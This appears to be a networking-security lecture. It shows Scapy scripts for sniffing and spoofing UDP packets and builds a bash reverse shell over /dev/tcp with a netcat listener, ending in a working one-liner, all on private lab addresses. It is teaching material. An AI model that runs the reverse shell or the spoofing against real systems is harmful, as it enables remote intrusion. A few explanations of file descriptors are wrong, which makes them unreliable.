Lecture Overview
- Scapy:
Scapy is a powerful interactive packet
manipulation program. It can craft or decode packets of a wide number of
protocols and send and receive them on the network.
- Reverse Shell:
Through I/O redirections, a shell session can be created by having the server
connect the client (hence the name - usually, the client connects
the server). In this lecture, we will see how this works.
Scapy
Installation
sudo apt install python3-scapy
Packet Sniffing
You can find the documentation in here.
Here, we briefly show how to sniff packets using Scapy.
#!/usr/bin/python3
# sniff.py
from scapy.all import *
def show_pkt(pkt):
print("Src:", pkt[IP].src + "(" + str(pkt[UDP].sport) + ")", end=", ")
print("Dst:", pkt[IP].dst + "(" + str(pkt[UDP].dport) + ")" )
if Raw in pkt:
print("Raw: ", pkt[Raw]) # Raw: actual data
print()
sniff(filter="udp", prn=show_pkt, count=20)
- Line 4 shows how to import the Scapy package.
- In line 14, the
sniff function in the Scapy package allows you
to sniff packets.
- You can specifiy various filters. In our case, we set the "udp" filter to
sniff all udp packets. Check out the documentation for how to use the
filters.
- The
prn argument allows you to specify a function to be
called whan a packet is captured.
The specified function, in theory, can do whatever it wants to do using the
captured packet. In our context, we would like to just print the packet. In
the above code, we wrote a function show_pkt(), and gave it
to sniff function.
- Through the
count
argument, you can let the function sniff know how many packets
we want to capture. If you don't specify it, the function will capture the
packets forever.
- In lines 6-13, the packet contents are shown. Note how Scapy makes our job
so much easier. We can just do
pkt[IP].src or
pkt[UDP].sport to access the relevant fields -- no
bytes level analysis is necessary! In particular, to access each
layer of the input packet pkt, you can use brackets. For example,
pkt[IP] is the IP layer of the packet. See the documentation for
the layers in detail.
You can run the program with the following command:
sudo ./sniff.py
Packet Spoofing
You can craft a packet using Scapy with much ease.
In particular, Scapy allows stacking the layers using "/" operator.
See the documentation in here.
Here, we show how to spoof a UDP packet using Scapy.
#!/usr/bin/python3
# spoof.py
from scapy.all import *
# crafting a packet: easy!
ip = IP(src="123.123.123.123", dst="192.168.172.5")
udp = UDP(sport=12345, dport=9000)
raw = b"faked packet!!"
pkt = ip/udp/raw
# check how the packet is crafted
pkt.show2()
# you can get the raw bytes of the IP packet
raw_data = bytes(pkt)
def hexshow(...): # assume hexshow() is well written.
...
hexshow(raw_data)
# send!
send(pkt)
- In lines 7-9, each layer is crafted first.
- Line 10 shows how to stack all layers into a packet. It's easy; just use
"/" operator!
- The function call
pkt.show2() shows the packet after filling
out the details we haven't specified. On the other hand,
pkt.show() shows the packet as it is (with empty fields in the
packet).
- The
send() function in Scapy will send this spoofed packet.
A sample run:
$ sudo ./spoof.py
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 42
id = 1
flags =
frag = 0
ttl = 64
proto = udp
chksum = 0x171e
src = 123.123.123.123
dst = 192.168.172.5
\options \
###[ UDP ]###
sport = 12345
dport = 9000
len = 22
chksum = 0xb872
###[ Raw ]###
load = 'faked packet!!'
0| 45 00 00 2a 00 01 00 00 40 11 17 1e 7b 7b 7b 7b |E..*....@...{{{{|
16| c0 a8 ac 05 30 39 23 28 00 16 b8 72 66 61 6b 65 |À¨¬.09#(..¸rfake|
32| 64 20 70 61 63 6b 65 74 21 21 |d packet!!|
.
Sent 1 packets.
Redirection to a TCP connection
In Linux, every I/O is treated as a file. In particular, even the standard
input, output, errors are also files. Therefore, using redirection, any files
can be used as the standard I/O to a program.
TCP connection can be a file
What's interesting is that a TCP connection can also be represented as a file.
For example, a TCP connection with "192.168.172.5 (8000)" has a filename:
/dev/tcp/192.168.172.5/8000
Let's test if this is actually the case. Consider the following program:
#!/usr/bin/python3
# echo.py
s = input("")
print(s)
- At host 192.168.172.5, let's run the nc program:
nc -lnv 8000
- At a different host, we run the echo program while the standard input is
redirected to /dev/tcp/192.168.172.5/8000.
./echo.py < /dev/tcp/192.168.172.5/8000
- You will see that what you type in the nc chat will appear in the echo.py!!
Host 192.168.172.4
$ ./echo.py < /dev/tcp/192.168.172.5/8000
hello
|
Host 192.168.172.5
$ nc -lnv 8000
hello
|
Bash and redirection
The redirection can be applied to any program execution. In particular, we can
execute a shell program bash and do the redirection:
/bin/bash -i < /dev/tcp/192.168.172.5/8000
In the above, the tag "-i" means interactive.
Here is a sample execution:
Host 192.168.172.4
$ /bin/bash -i < /dev/tcp/192.168.172.5/8000
ls
Desktop Downloads Music Public Videos
Documents lab03 Pictures Templates
|
Host 192.168.172.5
$ nc -lnv 8000
ls
|
Redirecting both input and output: a failed approach
Now, we can try to redirect both the standard input and output as follows:
./echo.py < /dev/tcp/192.168.172.5/8000 >/dev/tcp/192.168.172.5/8000
Unfortunately, the above command doesn't work.
- The above command will attempt to create two separate connections to 192.168.172.5(8000).
-
nc -lnv 8000 command will accept only one connection. So, one
of the two connections will have connection error.
One possible fix is to use diffferent port numbers for input and output. However, it's not really elegant.
Reverse Shell
Let's first recall the file identifiers for standard I/O:
0 standard input
1 standard output
2 standard error
The right way to redirection is as follows:
- As before redirect the standard input to a tcp connection:
./echo.py < /dev/tcp/192.168.172.5/8000
- Redirect the standard output to the standard input instead of a tcp connection.
./echo.py < /dev/tcp/192.168.172.5/8000 >&0
Note: Filename for the standard input (i.e., &0 vs 0)
-
In the terminal,
&0 is the filename for the standard
input.
- Note that
0 is a normal filename; i.e., it's a
regular file with filename "0" -- it's not really the special standard
output.
- In summary, in order to tell the shell that we are using the standard I/O,
you need to put & before 0.
Sample execution:
Host 192.168.172.4
$ /bin/bash -i < /dev/tcp/192.168.172.5/8000 >&0
$ ls
$ pwd
$ exit
exit
|
Host 192.168.172.5
$ nc -lnv 8000
Listening on localhost 8000
Connection received on 192.168.172.4 57854
ls
Desktop
Documents
Downloads
lab03
Music
Pictures
Public
Templates
Videos
pwd
/home/choi
exit
|
Redirecting the standard error
It turns out that the prompt is written to the standard error. So, we need also to redirect the standard error.
$ /bin/bash -i < /dev/tcp/192.168.172.5/8000 >&0 2>&0
Note:
Consider the last part of the redirection command:
2>&0
-
2> means redirecting the standard output.
-
&0 refers to the filname of the standard input.
Sample execution:
Host 192.168.172.4
$ /bin/bash -i < /dev/tcp/192.168.172.5/8000 >&0 2>&0
|
Host 192.168.172.5
$ nc -lnv 8000
Connection received on 192.168.172.4 57858
$ pwd
pwd
/home/choi
$ ls
ls
Desktop
Documents
Downloads
lab03
Music
Pictures
Public
Templates
Videos
$ exit
exit
exit
|
Reverse shell: Summary
/bin/bash -i < /dev/tcp/192.168.172.5/8000 >&0 2>&0